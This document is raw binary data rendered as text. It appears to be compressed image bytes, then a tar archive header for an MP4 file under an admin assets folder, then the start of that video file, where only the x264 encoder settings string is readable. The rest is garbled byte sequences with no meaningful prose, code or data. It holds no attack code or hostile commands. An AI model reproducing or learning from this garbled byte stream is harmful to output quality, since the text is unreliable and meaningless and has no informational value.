@x(Wu> x(Hp:`10 WuoPzQG3/LJYUލ*@o&hOqjm"F%l,v ۷#ho$ћ <2,vTxʀm%iQ@$.>J+itrn@o6'I5 qI#C$~{dþW8:U%H1@FI%I$5V5խQ [syT]K8K#.nRM67]@1\CYM%U2wzgh6 w\(ˁ qd )AmM-dcpwd|@$̓`F((Ub(((((~GP@3@+o,0kQ0%qBScqROvNPjyꎏ侃0E-nf0-] T(h PұɊpu$MŦ 닥ǥ:|Q nV2ی2_UqX`03b(#F˟$Ps +ms^mu$"]*mF(G*__,Cz6 S<>/xǩJc_s6knxt"YYf'f9'4((zݜ;{I2$ۀ'#?΀Ըt#"1:-~ǥ5qMN(:QĚ];9Urj2y?ܗЯa{G_\ #FQ$g(}L!Ѧ<ْbPq0vMר sY,3׬HI"e` v0qWM,r BZ7*3~&ז{n 2XUUUUFِHcU( KA-oxM"L9<[qO[C^q&ھlݳwgT%-߻"\#9P qm,I"ݙJNnŗjE.Rx$11 0x@tl5+y-8 Y9ӝw24嘎g@1^{[E:iZ6,k&"Z'I*EoL.U&|pQq'lӨ$6ʼnr9(P_/>uj>來^+q\Z&-"" eCtrMgK %޿"㛨6C7ڍ]]ҰBED*ʰ7wr}_@ܟWPGQ5 n"zٞ@fkq6;1q@ES5Mȸh^Dc,b5,R)ɖ0W&$a8!H`^bܧnhOzV{牸I[hv;b'd_B|)ǟR*_W٭✈$26?+CPS\@GuȀ 6}ެcրW"G2!RFC@f5 obۭ {/Ѐ c΀SH/XBF,6ۇܹ}jAI$rI$j <(zղ[K m]g@E\U((Ub(((((~GP@3@+oո7N!xѸK:9d@W_@:i;(AEYxMB-96F.te4uJDVwiП>u2i_|+.W?܎iچ00KNyC=z}lPvR]f7&Qa#yּ2ځ 9ψWNtWQڡDh@ '\P ytT@@@i?G(!hh6|+MghgWd ~nuu8<se7¾fy(F2-Y;qIpdvYQHCJ7{$eRWbY^$ɏ/CK(|kĶ!BEs䤁\8Cr~Tt?M)W]k _0p[w"/JTݵQj nݑʀۈ Q͉;q史BQ,Řdh((41}vw1p.,)R)d n8ZtN;z+gS*OfkaP*FSePϕuF՛zmG>T츒1>$Kkn(U ϝSU 97(Ut3Tbʬ7F#;:W{"˨qc˝w0HPKd*JC`ƒ1x 7S5pjRÈ$3))<Wnm¾pO&4jItt f 3/w! 6ws~>~[~&Jx?ۧچÇy 8 <$*dm'?z i 휛j)YܠRQP`9 ۇGбy؜-qr@ `tљm6Nڀ(((k7PLqo,L$X V}^7ȑaX@g뚐\{/4ws@\{/4ws@\{/4ws@aM@1@@Ub(((((~GP@3@X8'js؛b yn2);D<cQdu's;sJTZ.ŭI[lO&𥐘x_ ȥܛ*q/dJr6 q꩓c){2p:WD0?l#X6;jc 'ŵr! 㨆 CF.G|n&ݟGkcBA뎻9q$T4'gMlDHS7 ԅ>ЉnH:Aw68 /Z Kp? ~xKsGS[;fW>:ԶAٗXqrb-NOV(8#>l$U}J* n~.9%~5 $dO8gxp=;諭ݐki2dł2 $s\c%oo&Iu Owi{¥lnwϥĤ0"yvkZ3ek.Û?1u5g}^\j]LY7SŊ}MZѓnm5uew1ۻ8f)>)@q̀fRFy5n5,w#G&xBΫy x? f9  ݍ穰xރqxed]BgJ75=֧bG ~& `;_WqؓSV i.;&2j6@Oa;'ԟn(?ZO;?j >(?O~c֠?O(?ZO;' ?(ݠp1xhq`,_ߎ^ ^;"I4ijm{H=}zЋz}ehYb6=@ۺ1d]v[XE0s =r 񚣝߻3Sd~+=ҿUVg}4[;ǎ%mhb7*pt% -d~)qsGm:U|<|,IihG=fwË4KHfQ;r>d7"*ۻR3sWKQ#h W*sК1F#ӬO!3&sss77D-C, 痱ښw&Zjtb߷n==(J^%jێygcD9Wiݞt Kmw;6cۍϞHP(Ub(((((~GP@3@];&8F h߆ yg{DR2eqA'V  dQhh؏NSY==sU]Jkxc҇ *Wu{+BGsy.SkdNIA`*DImc{xiW>L#;G*"083mյmJX`^JW :/Q-쎉6R^e=l Fǭnq^+EгT,yT/Q{gAV9?Ҕ u=J2: *(QU%L]̲AncjǨ-=c7O?U#} 9ϝeBa`4M #sƠy(}IHcyqtIJ"יP=q*Ѣ+f\,yd=+xSKZu&? I<_>UHi["F>(]xrq$XG{a'LחmNușBYVH*2E[?miiSFvX1$МϓQ\DǧY-oqi,e yP(\2OvH]UH84I 5ɷ!A Mm{fzn۟j I۴Yy43y\  C[m? l_dr|視4o u|F_P~Vl(3ЭY⑊`wЄN$N֭`&Im┃lR²:`!aiMҫ25آ54[dQpC Yӆ{#?E6B쌓s<ʖ6D&vQ&#*&v sL7zTqлI[Пc|SqadZ[ rO*nb''\3r91n"Jai`t$O3K kivF:VUkY9p3K-Q9-CJ%eö=+3t=6̭ItX&yP  @f#90dg4@49+A嗉?mAVwf7M-Π' qe SǧZԢI{ʮL\gڹ(O"F6s&C.G>|}qwu ygvƢFPYٔr qG#9vz(-]{9W 1Rh!,#ɻ~X#h[KV/yFt԰̷i:]h &d M8dWX,u۝+o qw3eH7g,?Z1^մr}?QM/{nnfDžnXG;>6C3E't/}zqfoX[]궍oe4Y&n,9(Qz?2O$%2k<3olE} hʖ`MǃL2$K;2M{V-fEHN(<9rl6תĵY 8#_Rc}~Hᩈg#a$ijj Ub(((((~GP@3@=xt 1"*)!dn6tJRV;$ 0Dc,7ߚ<҉:|.8Q}ÀܤQAwlsrxr_$X]C$H++Gm De\nQʵl:EMeyX0IV@$x |WԘ4JܽPA`U"u~v Iʑ,ϭæ+k76;yVr*RYm}gIڝUdK.DŽVه,£K˩캌9)~s3PY4V1O-|9%IlmcMRT[W<,6եƦ\ W :>Og4otHNl=dZ穾MWvc9$فbr<FW\0#*Gyױ+ڗ s%Y!&DYv">cY2湎Yec1O,""]F beq:2U6m dKޒXJ2}9S.zLSw,Q1o-̓YsRKwK'McZ.h~c4 Mޣ$ sQ,4Ozg}i,QeD'!ctOSplJgf@;ހc%jg.HKDLQٶ!b GiȬQ}W$٢ę끂 ^92I6w:& *GsSVY2%?8Z,I$0Iڮ{kRUYr2wJWC+\nc.&滙bS&Q$(Ad!JȽ 'Ĩ2"~}~%g岋tVGb*9gm@jГJM~}o֗B K c "=*DuI;&;;3nPr6:xQrOf4ReP{.4[ANiy < w.׫< 81@x^$,u۾WRA%#VR|i _[9Xn §*2if;dBG²32qՉՌc&苔7ϩ#qU>ze,rJ+[21dLVPŀǘȪ=5\kmJn޸Z_'?md`*sj)[]j\GzXt,5aU 2r㗇,{՛.񞕢-m;;.J)̩rvC6|QE\z/?SWPFSԖ\Iz,۰gEl \TevO`vit\a-2Ny>K")n6)bymlgYu녪=qƙ𶕦Dڕ^Q eC[+xKȬ,Ni g,ymtǡДw`g >]K,tW|n.nN5; x[9GOE^}qTmEY ߴ,vP%/'Z&p"8*I<2y>6;5I$gjQ2 ;2<`rzV~gK0tg8GXDճzmz F\r4'g"9yey'ߴ *\E9{UzVAo&IGzfR1T Pᮢ):dq# g=4B˅bkعM4$vp̮A?/JR\,:qc[t%oMc˼fW^:we5UXI$b0ؤ=kHDYPxƴaETFB)x}jVB\p@vDܲ+o@ʌ 89>iSN"q(=`OFQ'ħWkͶ-qq%Ѯ(./^V3o·B냯-聤`NH cyEq.Zf'ƍW p~ӊ}Vב,RHGζ롎ܕ35~o-cĒ9}*o_2D/qx#+\]~k˳j0yt"я!*l+t^oƮe$Tx o0"\gi>>+gvDfL %-"NG3U^Yj=34!h s w.>X V. &yp?'SKYwαH}BUVݞ!zX{^,tFS8#WK)i~Pk6ಿ2ߠjyyjIsa`s~yqpgL o^YՆzZ#Rӵ{nͨ3\\YGB|9.1\L?7W6Ӽmuqn+2Y* K9_{G;xi <wN9T*j*E\TƳ7K5ʴ$e%)][bzceqIk\wڵj60-R^2%AaU3h*83Z ?H`MA'y}J&\|J5eג%t*Ӳ4=^C3Cf9 c=HŰVxLsMA.u[m)-^)n$",o;jU7~fnkɳ}.qim2L$7I_ +&a'amYiy{9Pko?cijq@Ub(((((~GP@3@NpG\qZh+[ :ڀLVяPyorB0z/Wǃnt41)Aw95LQnF<*|ӝB֙m@vS4X|)<>UٴsTq,8_FK%i-"wZ.(;XZD&ݲ麮$+[Kh'̥KFOƴ({#mϲ[qk%JT$Rܱ Uޭ餬st=g[YO2?Lcź] ^^rC!N$*Wy k$`(Փ*'n| ա>y+E/2NB׸`]<OSET\Np;[ZHC+4Ȳ7!CF (\&mκߓ8\#-bzuO}aeugŦ7_YI].I i bBUX]ӵ$FZy%_f68N/KM)+de4$guJ1ʳqCrpΥzVWɵ. [)2IH#чjOe1'hFʎ G_s9]pzUtLźDO!~%w&8%o#q4r3Lf^gRAUrmN辤/L{W_sK+\JxL !ιe7_S%]89fYVGKl$~^uq|"ui$ zZO=$FsthǕq\ټWB]U i'g-ӬLrT'ųҹ(b3'7 Kl釙+Xg¹bO*PZ@ ې B&foi/ep-R(k 6:UBh\aeh7ww`/ojbx楚S&tFmFU˹#_XBF68?]Pϓ+wuF$Ni }^ok+\-hnGx8'ԚUɫUЈHkdTDYAlLs&F7G ~yQ*t'R7k{q\uh"ycxDl-)~#m򙼜Eí tO-ܱ4V,'hX^eTmjrO2.VxWKHH@7m9#esCsH]bP6EF,!s#u-+jxSmFclB܄׵o9aQwxgʬsydTI٦,n-âz=փ]]Z7K܋#\c 6ՠYܜa,ywaw°ZƝػIB0tp].ZXK9sQG};жʍr~EBfCv,{ }spи4QIaQDBh]^5 ˗`(}(oEn-t+&[ дKḛؘRSb2Z5DdC wxHU^XբКMc "6> V>fG{>8d}].VEgta'3 ",[ۮKD`mnl'ʶksRR#5Rw][U.3),o&H98' ʺ2i\/3ƾ'= x)3anirT"'ḄMh St8+X㯣ܖ52ݮw&ُAXATWpuX>4-i-Yd wyt]g \y K}?^ҤJWV>~!VVWѮfÇt ~T-kO[.+n숚ؠY0[ 8s<#}\p>\}Z\lmbHW{\F->L]{b34J1]$u+ȫTizwiekxe{,q;e; q|L,]t5fd4IFLz*)-W'KPq@Ub(((((~GP@3@uoyPUD3+ |q*y&Xr2Gαo/2ƙ ~EΜ=yQ+[ SE#2?[/~nV\+DUBƟLp5>63*#Q;E(-û䡱Mtxivw ~d2 ]1\FB`xcFÄbB)^{v !P}9b,sqwick-ͣ[ELG6%6kɡxw {I|lC[?hf9+63˝Yrv責j}A^crDq]w"mT>WPocogmĈ7c5t%m"ׯx {KabEu)X8R.xckw n0y#); ~uٍ\9sqv :,T_;) g#ZP^Ԙ,lE&0hItn):׃O+u6N-;nRrP~V>rx6solm8$gs4acX)oe5IkA4xM #Xdh.JCnYnXx$P|RKlqRT85KR=XFU<3{97p_ﱃ^Q9JMh# s(r65JIur1D"iXͺMѿGk}dygNO͊Yͣ}dr\b].Ӟ^`y#}+—ݗv[F :z|[~<4gw{_YGih̴݅g wg]X&Hͯ7;S GW#9-hw'+Dxy6hV[-E夠ڳ7Fu慕t(s8\bpɺOɨ}"N]kd:Gvokq'Dɤ!? YaK#.vݒp>d5N' {2vu/$DZE KeLrHGK͘eu!s6sG7&VG`@ObrVßVnҐsKo؎%\n.4K,s_y%k#ڮwxbG?CoCutH:x#ßEe,|%nnvLYil2ũ؀zyr'kݥNN0^0\8SĈ?3=崄4MAh>y+T6=oWp_q[D+˓3Ė'!ճN Ze5.Ow<2fl֓J:C2,+KtBg21 śhǯ>UjeMYE!BC N$(m(2ȑZ\A.|.T̨k8MJ*E-#I߻u!5]1DshiqV9.RK9L}l`scOX\j1f'$^;̏s`]Bj"-eq _zbyGK]9QpN^^N^&GQ9dVSoldr]~G'YV+z2?x0RU"9Vr[QG ᤖ2dIU"KEqUE8B7Q&;-|hg>ZOT$((Ub(((((~GP@3@uOjL?ϥ(zn7|r p|^v߆#^{%ʟ-ˑRo/6M6}ctW }${d-Vt曛<`i1åѬvGqZM m+bvy&WS;p7xUӎKjJ۷b)HNH/"k[ːȱ7txWp ̓A&(5FYڠN5wp`7ē VFEKڼj gkVYJr][M yI͹Ǚ)НGb#pذCUg+TOvoaqƺD:uiܘ#Xَ/Nэ+]L.!mkNl,rjy\Y'%@B쮚|98\u3!g^@^w;ӭ==ЋXdq ݎXjzS൶=W?exg &m'`̌_>6ͮDwuIavsavno{&^d-MX]gYHԶA0 }`{55JNZѴO^7qkq ܮY@IV6_JUd=$_7-v^ILj.՚ѲNԒd$FXB9x]QT 'vE\)0jl0s|Z6c)Q6}AtR9Jqf#Y<הj+ҪƏ7;Oݼ]lLW6c$ʺSJAߝRCnHz.WL3 KvD0(: wy/[60cLG.{Rk)O S]&̏ycz f31VN}9VMEʹKn[I-+t@{ȭh;=pwr)ə`fI%oW,eTh6&p,žpe7)jϙ+OJ,ty//nei%$#( g5͗]i0[1|0AUQULR+8Kj~,6EoH>k=eY [0?d}͟QD[K#<Y0v\ysm֜Kb!(6ef5SD u Z&̉r3~Fy[bϞǖhe&C\Q3Ua?BɌ8G:cUuvIMm# A#>FO1a..diF̘,YF[_q2KKY4Ò8]cu6\MŃk&rEKڝ݌"FE{,j2ZBJ4f ?VHLe _jйW U@:|#S[U1v #KDV^K;HӼPpGD!N;yto [-=1PF\3z` :yoq-ݝ؀ p1lᾅ5 9=H(̔Q?Ү7K͉Ln}~"mbǐE1ܩwV;ȣ`UTĜK%hsǦwoa]oubhcc g{>y 컈N9\un"kshOcY; 3I >+[>a*X! T7O.}-XA|ߘM2ۯ)TS~DS5ͪOqg$r1KK>dž7I 1ȚwЮֺYCk&%Vuݎ]gn6Vmj}KK?FrN0GN%W6PG4v$#Sh_YKnt ['lP\c.1(>]G+JΧhm4S{vr֤`繂< uĚYF5,yUKZJI1*KuWiab#m">,=jKa[:@$uF 2? __kbIL8Չ2!.br:sn/HY #΄cʄ(䑟J=nރ"Tu2#Uh!4~ Cڴ˭>m^b1oDzsjg\w7ONH؟9~ZQuDZa<^DcWD6y:۸C?'KQ@Ub(((((~GP@3@YxOTG3*u}ѭ0AR;y1Q/;"h2kY[t6 ̟P|>U/6E"KI-P@+jeTPD|Q}8dgH Fщ+iqB./U]0ŴwP>Te܏xtE6f{“=@ g׭jwcdy(999H`Q^2藑X!rFO?]B0k )rЊe$Q,u3бOLvQb]͢Z6W.V$Yߙ>qŎ=Vm|@ >cFn͡-~֯t$R\$2Idf#9ݗsW}pO"K!Lys.,ϰn.evŎ<>/0_>66C"6F|sqm}ȏ$ߵ{4;u~/0Xsa?g#6FTB0#;឵l~DŽd!䲑wr㙉gCnڨrGB{DÙU_yv 3vvy`6 {{1V]9~:o[9El8v'![MQGozvv`o/sӧ`''o:Îz  )o6c2Y>o/)o2;~IoMx}!> 0gVAkdrЭepytA7 $Nû`<𚍃qn3&fQ# (8I"$6!;0%qPCV8kqPyyzcң&5.7RK_POe!q!:ˡ=J4Qsoc:[yWvɤX< VQ2h$y 6Ȯ Rݓ@nw:tg: w2T#@'&l)bR{olW»G{ htjPPP/Iz%.YAFf"q'}(!~tC8~Oin# 'h`/Gs>ZBx&kITwRvU h0sԁ+IUG@rwLMe`T hl"Gy"6 (42*3vcUGT8>{ Zé4r U^VX%/x.kK"[Xe2E"248!+:6W'OyB7t $\΀R-oͼVi 8YX#n`s P kh4vViRrwf,~(@IRqO# 7$o#`>T}r%@a=s@GQPմ<_&rF ( z*@vzU-%uL(b*;`` -C`ؓJL!8cfʞ$1Y=6$Wwbb.Cn21F`9bJmc_P7L[h"6_sn=GնFݯ( rwAȓ&2y@W5kVK?9(@@(-fs噲FҼPjbK$3<@BS5cjw{xVGkm|u`LԳ %lFIT mz onwDž |#pz5 1q ǫ"jڜ@!;[%@`P{ ֓tX!)W@{qXַ\Oo LIClrD{d@izEZfgHak a pEHIxM`mE4sl# Nwf8?@@P@ Rߺ븧"yLPLDxm=΀ʡqmm}gsuk $;[$`?#֥Kck,LJp:T\y]"٭yDaDL]\Z@@@@8X|A`d>uitysiCzIUԳ?d%c$+0UDPJYݻ73kr%#}(|kiZ6lOo{.FrGI x%MWs9(Ci"d{$ZTݭ\:[[2Z`ܕa'ҬfvŴ._ԷI*Р@0m}|X#Gоdx9\3:ЃQofY*_&]AmR :ЏB~PPPoZMqo RI6euqG&xB]%*g>#ugj(ȅS"w&cvh'=+Z('7Kv?DGjp%Z`X`7Y pwjy 5f^&=/2ț_/Q]+.PޛA#Ҿjj׫>⟢ ["2%@ erWTogY TI rG ʀd:PPPP }Q*@Ub(((((~GP@3@obH#k]*Y <:T$g<[3byS{8yf982eɹ?SlxQI/C?pYp߉,|K ғ >`Ǵ4ҞS{JzXiOCKά@94QW z zB[eI|g7rombyW~_RGi.,DUgjOԕFנ`dNUtϟ)`=~K FpzTcS{JzXiOCK)i`== ,4##rá&K,r? f:h|81w®0,r?@9tQk{q-&} Xl–~-k)i`== ,4ҞS{JzX@@4 Ub(((((~GP@3@o V gp2RFԄ q [^NT_yХ /W'^~m?)C|{z:iJ${I`P7j7.˳0W8MȻyddE:m'3;SoҘa}C~#uDѥ1ǺOFyJcďuڟFljk%H^kKC"(ϫ2JdUf (,Ǣ$T"žuſm}eTKi5LϱLѥ>˜{2F3>)qLѥ1_\'iCk1WP=R?Jckc?Jckd?U){-?ꩧSfU_b .3 y@|TNA/A?*if?n?J&FK#Z%~iq .KT .KPk}*i4@.KP}'YHW/R(${YG1@M #?#|麫ObFc|9zE1h0A}*SŅ) S-)AJdr1f2)LAʔŠ1h OԦK@% @dV^^| ~Z\ДkC;&I?3]{$~ =]$gq ),xȟPoCL}1΀V;KNmE's(4/^$B?C;H?3?C;.-/-\%ݴ֮*<,GL RGƀJ((Ub(((((~GP@3@uc񮩱d]zUFh=nC1Yjyfk{q,!u$9eRn4G6ٲŊ,s^OLm^(^q[<겿#,Zڳcjq6c %û|y##$~84_3R_?ė78?0:ta+!(,C|Ni5=#wGWcJWq ϠR>uHIIf蓎kęd#qu.̒J݌esҝgۻpQ*_/l5=>)n2me&9#9v9]#K 7,uX[Xch'\nÅ DHLn^Y -4sl[𭣥ur^qC&0z*> ˆD{C-wƓm72"<k99J䈚J-X)kӬʒe\m͖!vy/SXUX\,qD0U dbuG./*`" VBnG?>Uhe'T91.VNYXr217y`G?(xUC#=yեc+#>A|^}q.wu^b oB1ff@}+\iJlqnAs`Mf&adH i4O]8UdԓN˯`uOtW4Ѿ>>bF~+0Б85BJFN$y &v$[ tlzcMH];H|0E@8lݿ'Bwgb廩tE'#PEBtBɲ2M7Uŀ_ӚY-1 1ܞ/$Z#k,/Mr<3'J-dGŚgux5{ET(Ş|ǾFV٘JRx\c^DZ쎵zta2ԮH@bSg#ָ ӿN\p)q=p鞜}HSg;2)2-6$j=k_v6Bk쩻ugת|:QBBȽ* bqhhQ Y~?xg &!8l|5P&ӿ*1y~G.g%&n~}kEۆ5ZN68v8E* Vsiuk.]:$Z[+nw +F+$UI?I1,pn:\;୦{+wH!\:6^;!խu -PA(du[};/Xĸ'zF>u;hI˩jxRn!խdtjfP3 tܪrFsPTk_BOْ Phzu g sJj]11Ƣ!rvϐ5cSh=v#ǡpA& 0B;y3ET{i^i^L>wd5V;lEpR[q_eY ц,[\ȣzʔ?>Yؕ 6b跉yn:2D[WRQ3ӯZ O_?@@Ub(((((~GP@3@ugiVS_,VYpH]Y$%d&rll :zfM^Bno0VyqFkig{iY9^^+d'IawUX~L[rLnISO쇌n;mU&X!CiұE9M4ݔQeC7:Bk +yURnݰ u繗ƻ ߕ?'&]ox)#m)V 0VRV Q8/a7):wO]^J8||Kܽ&br9c&-5n$n02e`AK0#mK+4wrY=UZ4ߘmνř5]1^f!+L3ϨEpGײ΢.+YIPߵL/*x_ꐵX6bjJ]_[$Oqﮝ9cӹ̎>TzTq3֤escY8kkbj>C8#8r8ZFrJIB.Iȥ{ٲ9X$(bgJc~fx9RU"*mpGPsҺ2raIkEGgLzFKg`M䤓PO T dyOEj-0I7y Dpңˑ጖]g;dt"q~;zbxQ1q_! ֦9TDr|@y0OZʾ&uw{cc__}5fju%hA|9ol]Yp-rz8mGDG6#Cdy}V䬺ߣh*;gݕkoWSۖ%yn5;nbӤ#څP]XB*Eb))y8"6lʷ?\?m])w+'#1Ը^in&'p>*m?%uKx/^ɷXgx]:9oO6VʒG#Va/&Pހ<T(p ?Ub(((((~GP@3@uqjU_3гAm: _Rk8U,*$_s>mv.m2 c滓$f.ѭfEt>Ϡ\-tH 9'ִQIhY58Ҟxu8hA10cB]lmܹr+Iv~Gz[_wc-ptݣ;Xe¸}:eO>Ok[Yw7,`3S=XdW״Hm-eI ~hP ~HVھzZtg9y/5崩;6tb҆ T㚷8'U`ثYs9|khbؾg=N,ٜ7<+^*q˯>g[6m*WӰTC*hڏ<*:_j /|p׳e%ƞ-f!t鎡b5PΙŗ&,a.SM廗?#\0vS]( )."H6XTSY{'ܓ>QN{O/*{&ɯI?a8rfC9.3y\ZmR5&Q g? oO?}%xh͞ s@GȞ~ xDwR21ϕ7\~Ty H?tumJمv T*X*65-ֶe_x\&'ϑ难(%qvep{5إOpz䂪,TTF5܄t85P{&Q,&XfqW+vg%%{,Zeu [70rv';9!]G RJ1lCzD5a8JuSzdl{m>̀]OqV!X$c'#Le-9<ŀC Uދr)7qV7ǣjR[7 Cm W~UQ/]|Q)zook}X{ \ٌpq:2?ǜgo]{ٶgfZV'fyx#dֺ  uJ^L-&Vha/6#ZG9XFOI;UmU,9r8kc3̖fҴON7} U Ű>5\roYj,X?)2+ZC M0>mY|kIM1eNQN_A '=iLM{%ZdݫI cLHdAs\"rqO’Ƨ_ EO$ۈP=}WZן'M~bQ6}*MШh]-@Y#OVy]AL14Mhw+j/˥y oCxCy1*7 *2|7][m: -R 6BN.*vYwJ˽pb#o>63LOSgiՕL> c<<տ)|W/= GxG~n =%myδJKRT(Ub(((((~GP@3@uogWS?a|CZ>B~hUZ\rŧZrRoG?ܰ1^Lulwd^C(6WO-*TQrάJPvqg{\+<{*o_&yN874#aIkLVL!E)$44At_:0GqY0H޾Jy(ϝt @ 9^a56/] 4Zu[QY.Ev$gk%|NyLEF܄ZZlo<'O謲"ȑ}dG.m{x^F[vT;xU|IE,'Vp]<3vhӋF# xSgO#ܘېdr9rJ^k0ǎ~EYQ4$b_q$L|͜Q\:iGƛ]/#tKKէx{{)bhߦ[ *UJ_w, 劣#޶ٵ@Uyۿ<I%b5CŶ"IuƱroQO.0K~Nz=y Ȓ4`<*5ТHH 7h93ϠIt[Gn5R6y |><jq7>|2BYCH9%}X:)l1ےq_&Tf}t'r=M?5BJZ@I {^xOv 1^[99ԄԬ,*ktB&D宕C6s^ xM7D!s̠ݱ]S>?~Kċ$Dʴ!&G[:/|ئUbE:j%ryO%[t[)4;pR'~B +-cVmΨ"I$Md=v͘z[sJ ]Nl#I|,ie+|h{-Pi G ;{y g5W/9^PbF*\u'˲؏j@ѹyچɮ#ya<*54$,5ݵon\خc{'s&ĤarA pgJpYHb' rgoRj4J/O{2BP?Ďu!tApǀ :*y:sPUtšjsItdGg>|E3Kd[5 7QV%ßF.mD4<YѶjΌqA&NIJ2Ȳ̬l*!;%yپCi ڥvb$G( 2p+Y`mrV1|Dj\;Bm5 <+<^X[G$Jsc'SRǻ@;*CzJr"rP7:MS,ԒKɜlzA%[g<U2cvp݅Ŕc{cٜ?eY{H/|GiAgPѲZehА'w19ӫYiZ;fdD;DC*3> T'IA));1^g^ƒ~GQk{φ{ۮ'M7J bk.2z7Iʥlvukٯb\P7-qϦ\O_+xdBю1{'-yיgv#) S\2vQ",~bŭl DKNSDX^ qg:P92n߆)[ٵ}fRbo0`XF}oK+I̲YE3$#. ]@hDml 1JVFKRj1K1m _ݨ ;\ǐJV:3i$9P9{ 9n\J/!g-"@;C3Ϊ]٘Gp1"5b>x6J‹fW=wea0IuJ˛t]5mDӴho,B])9'x.=.[v_#W ÍB.=b[ԶJK1AݎYLUݻ#6I-ʋ 3@+|OP5l GcP:mŜ*2Wd@榀S_:UŹ&ndl\.5KR|K%Hy]&"jQ{,ҡ8 '% %' Ub(((((~GP@3@tuM3MJmF(_O(HnXxxu8}(*WpwCi?i?{ӸÃi9w9c^^.Y-.MCLBn9N'Kݾ=Ưq\x[j1*0ϖk)r!ۖ4RmÀm^-ӭ4@չ|(\lgzץ)RMR];=eM,O P:>7saXgӧo5qIېmɹ˧V0tlF5&ư-{Oyafnb,c8ϖHGK*3:G9,[Ȁ8gf^t%7èO6}kKPO|˿%,xyǚ޺~"wGq2X˹$pOU<]| ti>>uomu {[rG"p\[Nd`D\$8'ι>|4V_QW޻3}ENQe>"(ž"(`Eej&+Me M1}EN܊5$|*7sM0jhQ |RRTMؕ]BŘVݙ@2O ;@sMQcs7j5,/Ƽ_ڗ jIlKq`|_>%SK82I:YP6ku YYfl#UiIt~t}sa_7E}NUǙ#5/˒/1k++nPϾ$clǣ/_1NP ⨅F !mޛgy1waeDD og\5hڎiYD{> iX#/C9Dw -4dd1D=E\&[^W C`71s#<^C|s΀ٻALzw3w/|}-*r'wQg5VV5'W.Y%é|9 yvNB:Jjv}6qa9l<KCk3F vIOKDlaIN>TNlQ>G1/?u-MJH%Z!`G(V=TMS1IMS1)1ˌl?u7!LA`}M=Qy{)Mjox..#E(v1 PnϝwiKdGCPgk(ҖEP;><| *P6ȽWNϥ~{@Dҿ=tJRϥ~{@?7g>ҥ?JҀ>?M{@g]_K PC+7/0UeH%Ih]{`0[wnB]ݕaםQ_S__V^ :c$$ߒ ^*3;9%I@ ?Ub(((((~GP@3@)nsU(h:Y퍼fa$L0%1p7qvjE-7KMɅ.?[᙮YUBWjr1 ]9XG3ڙ9H|.}&؆#S Q$EaqI/6fyfg1G :ހ܎|KБNea%ѵKxƆrP]]T} wp>O>;l6/,c\^ZqvQ0W: dlr?Z b0ڿ:Ytҳigy p `ldTY Jܦ0:9) oP1<}(u/HOHdpS~cTPJF^V4j@`3>#/gl൶ wQ>o?O@ZI!&6H]f p1 3H\L4 r#lU\|AZ7Y"m'h} Vx@3JP&UT$n9<@4HZH&Cm`LTTsCe?YP件&)ч HTBpDXM S%-O4Wco7PrБQ9 gb}QP1ݧuH3>lO>11G(ꏸP,漹X"Tw9y=HToֲh%HH9\$w>nj;úJjRA$(-&@{F9H%ay`~)KJQ i${؎R2ʾ=i@j%iDDdrxFҿǐ(8Vy 6!v"7#ɹeہ#'fÂ/nn!{; N06g7k0Oosr,S(P(GC@/?jiMm<ʒWh8U7`+@΀9:xY$8](OIRqzY!zjZDmw2%+n΀^im-.-11H*U1=y J׽IjlI%[-Qy;% nϯ4K)m'HӚ7w"8fK&5 U2%V4Q-+bp ANJu<TfR@vgʠ @H^hZEu k2|!~G>TEªu((Ub(((((~GP@3@+o,~i^Ihmɱe+zf)+){>ιijc=.%UXRe,ps;Tr4ZrcR,-ϐ7|oO򈻔;˯jA* {{x8d)dA6FqHPj qEݔkrp7}?q#8\c5هC$TT+\uرWslw7 2Mgy,:1$'wl ?f״,eq.'u}%ŴxZ33#%7ΰϤɉ)JfuXv#LY|=3\A[{Uɓo>~zY@Rc[ SHx2EK">uo/UVPU8gHIf$9$$ fky NuqϽ,<*e@'m75GIi@YفG1i2eMƪ=mϪ&ed\/.$bi'򻣷ҷ~#x'[5JZF@р(@G>]\qs[S}zbb%oBxFG3γ>???JOJW9y@@O,am.v21 y{ٛ|z 9g}y*ث"  2U2c r*2]rۮf֨`scS3,AZ,Pړr(EEg#qą35Y!]݃,sR {F&T z@33v%fc̒yM b^k!x0Fѷӕ_@@Ub(((((~GP@3@+oʀ/z:izr|LY#s )nc/JO(Nn1K!sIqJRoܸr161ؘ'z i~O"A?Q5}J=BܬF%dcϧ3˝qGWFE(\|iܛEoQ@*]}q\h5'Ns J.܌tW9lu5 Ij?1@!@Whڟ ZEȒ)\s^ nC$e'ݦ3>+ E)$];t9KJQᄯxL&5Hd1C|Gq3y,]s$`+ԁ]hBthtS9JM=ݬHj ~_[ 7dr9ȁ@ L7gq99$C#n>'PPPqFfGP q _bJ#X*ro?JZX(䋒O]/( -ԵۿLG+Y#! UIֺVH$sKE}gk8aQuIQDUEE**~)ax+i_O $I+f%]s˓z-MV:kk-geyDq^JR:CʵM>9)(deٙϣ(i..2{0L“ߩ%I.P'rTd0U$p%Í;G䂣}( =y2}Md4h'OT5 2}M@ S@>O S@>2}Md4h'O S@2}Md4j@d4h'O S@>2}Md4P'O S@>O S@>2}Md4h'O S@2}h'O SR'O S@>2}Md4h'O @@admin/views/features/assets/library_video.mp4000060400001047421151724235750015405 0ustar00 ftypisomisomiso2avc1mp41free5mdatEH, #x264 - core 164 r3075 66a5bc1 - H.264/MPEG-4 AVC codec - Copyleft 2003-2021 - http://www.videolan.org/x264.html - options: cabac=1 ref=2 deblock=1:0:0 analyse=0x3:0x113 me=hex subme=6 psy=1 psy_rd=1.00:0.00 mixed_ref=1 me_range=16 chroma_me=1 trellis=1 8x8dct=1 cqm=0 deadzone=21,11 fast_pskip=1 chroma_qp_offset=-2 threads=7 lookahead_threads=1 sliced_threads=0 nr=0 decimate=1 interlaced=0 bluray_compat=0 constrained_intra=0 bframes=3 b_pyramid=2 b_adapt=1 b_bias=0 direct=1 weightb=1 open_gop=0 weightp=1 keyint=250 keyint_min=25 scenecut=40 intra_refresh=0 rc_lookahead=30 rc=crf mbtree=1 crf=23.0 qcomp=0.60 qpmin=0 qpmax=69 qpstep=4 ip_ratio=1.40 aq=1:1.00,deK 3W,4 <`631t?ia܉̂lTtmG)%v]F&Z SBJJ"Dy9)~y`nc%$_u}!Ta"XR}˜ߟAI/*m\ 鞯^qWR3P7H%S'5V(VoZv4^JbLhKs"Fg}i AO(E{7=SGq1/~]C9'U e{3?ISn;u;~+͹'nL5ϩ6!|z6@`EM;7sפ 8)o9t"^G f4YR#- 